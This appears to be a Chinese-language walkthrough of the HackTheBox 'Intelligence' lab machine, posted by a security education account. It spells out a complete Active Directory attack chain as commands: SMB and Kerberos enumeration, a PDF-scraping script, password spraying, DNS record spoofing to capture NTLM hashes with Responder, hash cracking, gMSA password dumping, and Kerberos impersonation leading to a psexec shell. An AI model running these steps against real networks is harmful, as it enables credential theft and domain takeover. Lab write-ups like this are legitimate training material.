HackTheBox-Intelligence靶机学习

文摘   其他   2024-02-20 12:02   陕西  

首先拿到一个IP地址为10.10.10.248。

使用Nmap扫描:

nmap -sC -sV -T5 -A 10.10.10.248

目标主机开放了80端口对应的web服务,88端口对应的kerberos,对应的账号是krbtgt,389以及636端口对应的是Ldap协议,

同样开放了445端口。

从Nmap扫描结果得知域名为intelligence.htb。

首先我们使用rpcclient测试域的空身份验证,看看我们是否可以获取到用户的列表等等信息。

rpcclient -U '' 10.10.10.248

rpcclient -U '' -N 10.10.10.248

可以看到枚举失败了。

现在让我们尝试Smb服务。

crackmapexec smb 10.10.10.248crackmapexec smb 10.10.10.248 --shares --userscrackmapexec smb 10.10.10.248 -u '' -p '' --sharescrackmapexec smb 10.10.10.248 -u '' --shares

可以看到shares是可以访问的。

smbclient -L //10.10.10.248/smbclient //10.10.10.248/Shares

访问失败:

现在让我们来看一下web服务。

这个网页中有一些PDF相关的文件。

还有一个用户名:contact

我们可以尝试AS_REP Roasting攻击。

python3 GetNPUsers.py intelligence.htb/ -dc-ip 10.10.10.248 -request

可以看到失败了:

前面我们发现还有PDF相关的文件,我们可以看下请求的连接。

可以看到它是根据日期来进行命名的,所以我们可以生成大量的日期放到Burp中去跑一下。

使用date来生成,这里的--date参数表示向前推多少天。

date --date="1 day ago" +%Y-%m-%d-upload.pdf

借助mortals师傅写的脚本,将PDF全部下载下来。

import requestsimport sysimport osurl = "http://10.10.10.248/documents/2020-"# http://10.10.10.248/documents/2020-12-15-upload.pdffor i in range(13):    for j in range (32):        day = str(j).zfill(2)        month = str(i).zfill(2)        re = requests.get(url=url + month + '-' + day + "-upload.pdf")        if re.status_code == 200:            url1 = url + month + '-' + day + "-upload.pdf"            print(url1)            # sys.exit()            os.system(f'wget %s' % url1)

下载下来之后我们可以使用exifTool来查看pdf,可以看到PDF中有作者信息,我们可以将作者信息提取出来。

使用exitTool提取作者信息。

exiftool *.pdf |grep Creator | awk '{print $3}' > user.txt

然后使用Kerbrute对用户进行枚举。

./kerbrute_linux_amd64 userenum --dc 10.10.10.248 -d intelligence.htb user.txt

可以看到这些账户都是存在的。

我们可以尝试进行密码喷洒:

./kerbrute_linux_amd64 passwordspray --dc 10.10.10.248 -d intelligence.htb user.txt 'Admin123..'

现在让我们将pdf转换为txt文件,然后在里面去搜索一些有价值的信息,比如password。

for i in $(ls); do pdftotext $i; done

然后我们在txt文件中查找一些敏感信息:

cat *.txt | grep password

然后我们找到前几行。

cat *.txt | grep password -B5 -A5

可以看到密码已经找到了。

然后我们就可以使用这个密码进行碰撞我们刚才拿到的那些用户了。

sudo ./kerbrute_linux_amd64 passwordspray  --dc 10.10.10.248 -d intelligence.htb users NewIntelligenceCorpUser9876

成功跑出来账户是:Tiffany.Molina

使用crackmapexec来验证一下,列举一下用户列表。

crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --users

我们可以获取目标的密码策略。

crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --pass-pol

我们可以列举目标上的共享信息。

crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares

可以看到这些共享的列表我们都是可以读取它的。

我们可以使用-M参数指定一个Module。

crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares -M spider_plus

这里生成的结果会放在/tmp/cme_spider_plus目录

我们来到这个目录,打开.json文件。

我们在jq中解析。

cat 10.10.10.248.json | jq '. | map_values(keys)'

可以看到这里有很多文件列表我们都是可以访问的。

所以我们可以使用smbclient来连接,我们想下载downdetector.ps1这个文件。

smbclient -U Tiffany.Molina //10.10.10.248/IT

使用get命令进行下载!!!

get downdetector.ps1

这个文件我们等会会用到的。

然后我们使用bloodhound-python将域内的信息导出来分析一下。

bloodhound-python -ns 10.10.10.248 -d intelligence.htb -dc dc.intelligence.htb -u Tiffany.Molina -p NewIntelligenceCorpUser9876

将json文件导入到bloodhound中之后,然后定位到Tiffany.Molina用户,将这个用户标记为已拥有。

然后选择Shortest Path from Owned Principais,但是发现这个用户到不了任何地方。

我们可以在搜索这里清空之后按下enter键,然后他会显示出来用户。

我们将SVC_INT$标记为高价值目标。

然后选择Shortest Paths to Here ,这个意思查询那个用户到SVC_INT这里的最短路径。

可以看到有3个用户,Administrator就不用看了,因为时域管理员,所以我们将这剩下的两个标记为高价值路径。

然后选择到高价值目标的最短路径,可以看到这两个用户到达SVC_INT。

所以我们得获取到这两个用户的权限。

我们回到刚才那个downdetector.ps1文件。

我们来解释一下这个文件,通过上面的注释我们得知这个文件会检查web服务器状态。计划每5分钟运行一次。

首先它导入域的模块,然后循环"web"开头的域intelligence.htb的任何DNS记录,并使用Ted的凭据为每个找到的域发送HTTP请求。(使用-UseDefaultCredentials选项)如果服务器没有返回200 OK状态码,则会向Ted发送一封邮件。

其实也就是说只要我们伪造一个web开头的域名,也就是假的域名,它每五分钟都会发送一次HTTP请求的话,那么我们伪造的这个也可以收到的,而它使用的是Ted的凭据。

伪造的话我们需要使用到dnstool.py

可以看到这里伪造的是webrelaysec.intelligence.htb。

python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'webrelaysec.intelligence.htb' -d 10.10.16.2 10.10.10.248

然后我们就可以通过responder来进行嗅探了。

responder -I tun0 -A

这里我们需要等等,因为5分钟会发送一次。

我们成功获取到凭据:

Ted.Graves::intelligence:0daa3ec1b284a949:CD76623716C3609875D86DDA36EB0EDF:0101000000000000A604499B3D73D7015C5EEEC5D556C5D8000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000200000035C7091E068F4D7CCC464ABE730F3C960A0B592A633A716B97E3209EF5BD0D30A0010000000000000000000000000000000000009003A0048005400540050002F007700650062006F006F00700073002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

获取到凭据之后然后我们将凭据保存为hash.txt文件,最后使用john进行破解。

sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

可以看到成功将密码破解出来:账号:ted.graves  密码:Mr.Teddy

然后让我们再次使用cracksmapexec进行枚举。

crackmapexec smb 10.10.10.248  -u ted.graves -p Mr.Teddy

尝试使用winrm进行登录。

crackmapexec winrm 10.10.10.248  -u Mr.Teddy -p Ted.Graves

可以看到是不允许我们进行登录的。

我们回到Bloodhound这里,我们下一个目标是需要拿到SVC_INT。

我们现在拿到的这个TED这个账户是在ITSUPPORT这个组中的,而这个组可以对SVC_INT账户进行检索密码。

我们可以使用如下工具。

https://github.com/micahvandeusen/gMSADumper

如下命令:

python3 gMSADumper.py -u 'ted.graves' -p Mr.Teddy -d intelligence.htb

这里需要注意的是需要将域名加入到hsots文件中,要不然会解析失败:

echo 10.10.10.248 dc.intelligence.htb intelligence.htb > /etc/hosts

成功检索到SVC_INT$账户的Hash:d365e889367ce3e3241b120db1df6e25

svc账户是一个服务账户,在我们前面的学习中,我们在制作白银票据的时候是需要使用到服务账户的Hash的。

我们可以使用crackmapexec来进行验证。

crackmapexec smb 10.10.10.248 -u SVC_INT$ -H d365e889367ce3e3241b120db1df6e25

我们现在已经拥有了SVC_INT$账户的Hash,所以我们可以着手制作白银票据了。

我们都知道票据是有过期时间的,所以我们在制作白银票据之前需要保证我们本地和域控的时间是一致的,可以使用如下命令:

sudo ntpdate 10.10.10.248

现在我们可以来制作白银票据了。

使用getSt.py。这里伪造的账户是Administrator。

python3 getST.py intelligence.htb/svc_int$  -spn WWW/dc.intelligence.htb -hashes :d365e889367ce3e3241b120db1df6e25 -impersonate administrator

然后导入票据:

export KRB5CCNAME=administrator.ccache

然后使用psexec直接访问即可。

python3 psexec.py -k -no-pass dc.intelligence.htb

到这里这个靶机就结束了。。。期待和您的下次相遇!!!

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章